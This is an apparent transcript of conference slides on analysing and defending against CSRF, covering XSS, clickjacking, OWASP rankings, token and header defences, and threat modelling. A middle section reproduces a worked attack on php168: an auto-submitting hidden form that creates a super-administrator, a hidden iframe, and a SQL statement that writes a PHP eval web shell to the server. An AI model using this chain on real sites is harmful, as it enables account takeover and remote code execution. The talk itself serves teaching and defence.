10.1.A.CSRF(跨站偽冒請求)攻擊的分析與防護
Download
Report
Transcript 10.1.A.CSRF(跨站偽冒請求)攻擊的分析與防護
TAIS台灣學術資訊安全國際研討會
CSRF(跨站偽冒請求)攻擊的分析與防護
Cross-Site Request Forgery Threat and Mitigation
夏克強
麟瑞科技 資深技術顧問
CISSP, CHFI, CEH
Why Web application Vulnerable
Improved commercial or in-house application access to
information means improved access for hackers?
75%攻擊集中於此
SQL Injection
Parameter Tampering
XSS, .., etc.
網路 IDS
防火牆 IPS
網站應用程式(Web AP)
• 未上線的急於上線
• 已上線的年代久遠
Web
Servers
Application Database
Servers
Servers
Operating
Systems
Network
Operating
Systems
Operating
Systems
Database
Servers
Customer
Info
Business
Data
Transaction
Info
個人資料
交易紀錄
客戶資料
OWASP TOP TEN
OWASP Top 10 – 2007 (Previous)
OWASP Top 10 – 2010 (New)
Mapping from 2007
to 2010 Top 10
A1 – Injection
A2 – Injection Flaws
A1 – Cross Site Scripting (XSS)
A2 – Cross Site Scripting (XSS)
A7 – Broken Authentication and Session
Management
A3 – Broken Authentication and Session
Management
A4 – Insecure Direct Object Reference
=
A4 – Insecure Direct Object References
A5 – Cross Site Request Forgery (CSRF)
= A5 – Cross Site Request Forgery (CSRF)
<was T10 2004 A10 – Insecure Configuration
Management>
+ A6 – Security Misconfiguration (NEW)
A10 – Failure to Restrict URL Access
<not in T10 2007>
A7 – Failure to Restrict URL Access
A8 – Unvalidated Redirects and Forwards
+ (NEW)
A8 – Insecure Cryptographic Storage
A9 – Insecure Cryptographic Storage
A9 – Insecure Communications
A10 – Insufficient Transport Layer Protection
A3 – Malicious File Execution
A6 – Information Leakage and Improper Error
Handling
- <dropped from T10 2010>
- <dropped from T10 2010>
Cybercrime威脅
Cyber pickpocketing
BEBLOH, where the malware went beyond
“traditional” keylogging by not only stealing credit
card information but also accessing the account and
transferring funds to another account
Cross-Site Scripting
Reflected XSS, Stored XSS (aka Persistent XSS)
Samy Worm
Web sites compromised: FBI.gov, CNN.com,
Time.com,
Ebay, Yahoo, Apple computer,
Microsoft, Zdnet, Wired,
and Newsbytes
Top vulnerable weakness in recent years
Web sites vulnerable to XSS: searching page, forum,
comment, login page..
Cross-Site Scripting attacks
Hoax
Steal user’s session Id and cookies
Almost full control to your browsers such as port
scan, keylogger and send requests on behave of the
client
Stored Cross-Site Scripting
1
Attacker sets the trap – update my profile
Communication
Knowledge
Mgmt
E-Commerce
Bus. Functions
2
Victim views page – sees attacker profile
Administration
Transactions
Attacker enters a
malicious script into a
web page that stores
the data on the server
Accounts
Finance
Application with stored
XSS vulnerability
Custom Code
Script runs inside
victim’s browser with
full access to the DOM
and cookies
3
Script silently sends attacker Victim’s session cookie
Stored & Reflected XSS
Stored XSS(aka Persistent XSS) is more serious than
reflected XSS
Reflected XSS must use some means of inducing users to
visit attacker’s crafted URL
Phishing attack by offering a link to his own
malicious web server would be suspected as a scam
The requirement for stored XSS is avoided
Stored XSS guaranteed that victim users will be
already accessing the application at the time that the
attack strikes
Reflected XSS may try to engineer this situation
by persuading the user to log in
Clickjacking(點擊綁架)
Clickjacking是攻擊者試圖綁架使用者的滑鼠點擊，讓使用者在
不知情的情況下點擊攻擊者精心設計的連結或按鈕
Clickjacking可視為是一種進階的網路釣魚手法
Clickjacking
(Session-Riding)與CSRF
相似，都是讓使用者在
不自覺的狀況上當
Clickjacking與CSRF結合
對攻擊有加乘效果
Clickjacking防禦
使用Firefox的Noscript的ClearClick功能
阻擋iframe的執行(NoScript)或停用Javascript
busting(也就是anti-framing) for your own sites
Frame<script>if
(top != self) top.location = location</script>
IE8 针對Clickjacking增加
對Clickjacking攻擊的防禦功能
X-FRAME-OPTIONS: DENY
X-FRAME-OPTIONS: SAMEORIGIN
Forced Browsing
應用: 廣告收入
技巧: 數以千計的人點擊, 來自不同IP地址, 可以規避檢查機制
<html>
<body>
空白頁
<iframe src=http://www.google.com.tw/search?hl=zh-TW
&q=taiwan+taipei height=0 width=0>
</body>
</html>
Cross-Site Request Forgery
Cross Site Request Forgery
• 跟Clickjacking一樣是騙使用者, 讓其不自覺點選或送出資料
• An attack where the victim’s browser is tricked into issuing a
command to a vulnerable web application
• Vulnerability is caused by browsers automatically including user
authentication data (session ID, IP address, Windows domain
credentials, …) with each request
Imagine…
• What if a hacker could steer your mouse and get you to click on
links in your online banking application?
Typical Impact
• 將你的E-mail轉到駭客端
• 將你的密碼改成駭客所設定的密碼
• 將你的銀行帳戶的錢轉到駭客的帳號
CSRF example: 進一步
引誘你點選連結
假如你訪問的購物網站網址為：
http://www.hacker.net，你購買了一個產品，購物網站參數為：
http://www.hacker.net/buy.php?item=computer&quantity=1
這是一個正常的HTTP請求，商品名稱是電腦computer，購買數量是1，網站
會將所買的商品與數量記錄在用戶的帳戶內。
如果黑客知道了http://www.hacker.net購物網站的操作流程，他就可以偽造
一個類似的HTTP請求：
http://www.hacker.net/buy.php?item=computer&quantity=1000，商品名稱是
computer，而購買數量卻是1000。如果目標用戶在網站登錄期間不小心訪問
了這個鏈接，那麼在他的帳戶內就是會有一條記錄是購買1000台的computer
php168之CSRF攻擊
加入網站管理員的頁面為:
http://192.168.0.3/php168/admin/index.php?lfj=member&job=addme
mber
摘錄自www.haik8.com
php168之CSRF攻擊
<form name="form1" method="post"
action="index.php?lfj=member&action=addmember">
<tr class="head">
<td colspan="2">添加新用户</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">帐号:</td>
<td width="63%">
<input type="text" name="postdb[username]">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">密码:</td>
<td width="63%">
<input type="password" name="postdb[passwd]">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">重复密码:</td>
<td width="63%">
<input type="password" name="postdb[passwd2]">
</td>
</tr>
<tr bgcolor="#FFFFFF">
摘錄自www.haik8.com
php168之CSRF攻擊
<td width="37%">所属用户组:<span help=1>只有超级管理员与创建人才能添加新
的超级管理员,只有超级管理员与创始人及前台管理员才能添加新的前台管理员
</span></td>
<td width="63%"> <select name='postdb[groupid]' ><option value='' selected>现有
用户组</option> <option value='2' >游客组</option> <option value='3' >超级管理员
</option> <option value='4' >前台管理员</option> <option value=''>--+以上是系统组，
以下是会员组+--</option> <option value='8' >普通会员</option> <option value='9' >
高级会员</option> </select> </td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">邮箱:</td>
<td width="63%">
<input type="text" name="postdb[email]">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> </td>
<td width="63%">
<input type="submit" name="Submit" value="提交">
</td>
</tr>
</form>
摘錄自www.haik8.com
php168之CSRF攻擊
駭客修改程式碼, 修改完的程式碼如下:
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post"
action="http://192.168.0.3/php168/admin/index.php?lfj=member&action=addmember">
<input type="hidden" name="postdb[username]" value='樱花浪子'>
<input type="hidden" name="postdb[passwd]" value='nohack'>
<input type="hidden" name="postdb[passwd2]" value='nohack'>
<select name='postdb[groupid]' ><option value='3' selected>
</form>
</body>
</html>
摘錄自www.haik8.com
php168之CSRF攻擊
這樣我們得到路徑為：
http://192.168.0.3/php168/upload_files/special/5_20090425170444_eA==.htm，
這樣管理員在登錄前後台的情況下訪問了這個頁面就會添加一個用戶名為
“櫻花浪子”、密碼為“nohack”的超級管理員
摘錄自www.haik8.com
php168之CSRF攻擊
但是這樣的話會顯示添加管理員成功的提示，我們要做的隱藏點，來做一個圖片
木馬
<html>
<body>
<iframe src=http://192.168.0.3/php168/upload_files/special/5_20090425170444_eA==.htm
width=0 height=0></iframe>
<img src=/Article/UploadPic/2010-4/2010417144022600.jpg></img>
</body>
<html>
得到路徑為special/5_20090426220451_PYwLh.jpg，
http://192.168.0.3/php168/upload_files/ special/5_20090426220451_PYwLh.jpg
摘錄自www.haik8.com
php168之CSRF攻擊
執行：“SELECT ‘<?php @eval($_POST[cmd]);?>’ into outfile ‘C:\
\AppServ\\www\\php168\\nohack.php’”
摘錄自www.haik8.com
php168之CSRF攻擊
檢查一下, 顯示已經注入了!!
摘錄自www.haik8.com
行事曆系統範例
http://egw.ringline.com.tw/index.php?menuaction=calendar.c
alendar_uiviews.day&date=20110308
CSRF, Referrer與X Headers範例
<a href=‘http://egw.ringline.com.tw/index.php?menuaction=
calendar.calendar_uiviews.day&date=20101016>請點我可打折</a>
Clickjacking與CSRF有加乘效果
使用iframe Opacity=30
Countermeasures against CSRF
強迫victim讀取行事曆特定日期
CSRF Preventions
custom random tokens into every form and URL
InsertStore
a single token in the session and add it to all forms and links
Hidden Field: <input name="token" value="687965fdfaew87agrde"
type="hidden"/>
Single use URL: /accounts/687965fdfaew87agrde
Form Token: /accounts?auth=687965fdfaew87agrde …
sensitive data or value transactions, re-authenticate or use transaction
Forsigning
Verify Referrer header, but XHR can break it.
Verify X-header. It is more effective than Referrer header due to SOP.
legal example:
GET /auth/[email protected] HTTP/1.1
Host: social.site
X-CSRF: 1
Illegal example:
<html><img src=http://social.site/auth/[email protected]></html>
GET /auth/[email protected] HTTP/1.1
Host: social.site
Ensure that there are no XSS vulnerabilities in your application
Ratproxy
Semi-auto web application security
assessment tool for XSS, CRSF
Not all of the issues reported necessarily
correspond to actual security flaws
Findings should be validated by manual
testing and analysis where appropriate
Microsoft Threat Modeling
S
E
Spoofing
identity
Tampering
with data
(integrity)
Elevation
of privilege
D
Denial of
service
T
Threats
R
D
D
Damage
potential
Discoverability
R
Reproducibility
Repudiability
I
Information
disclosure
Rating
A
Affected users
E
Exploitability
Microsoft Threat Modeling
1. Identify assets
2. Create an architecture
overview
3. Decompose the application
4. Identify the threats
5. Document the threats
6. Rate the threats
OWASP Risk Methodology
CSRF Rating Example
CVSS (Metrics View)
Obstacle for Code Review
(or Scanners)
1
2
3
4
5
• Can’t provide immediate protection
• Web applications, change frequently. In many cases the
application can change before a full review cycle has
been completed
• The source code is not readily “available” or “understood”
• With enough MIS staffs and time to do re-coding ?
• Manual code fixes are only as good as the developer
• Attacks, (again, especially Web attacks), also change
frequently.
• No multiple services correlation capability
• Can’t track the accurate user who launches the attacks
and the attack patterns
Continued
6
• Suitable for developing phase, not for production phase
• Suitable for developing phase, not for design phase
(only resolved by Risk Analysis)
7
• Slow response to compliance requirements
8
• Can’t protect web servers and backend database servers
9
• No web site cloaking such as anti Google hack
10
• Can’t provide additional insight into those that are requiring
writing to the database or are accessed by transaction only
Obstacle for WAFs
1
2
3
• Suitable for production phase, not for developing phase
• Suitable for developing phase, not for design phase
(only resolved by Risk Analysis)
• Lack of Logical flaws detection (only resolved by human
code review)
• Applications do something insecure
4
• Can’t accurately correct application flaws
5
• WAF could go down (fail-open or fail-close)
問題與討論
Thank you!
[email protected]
02-26512340#699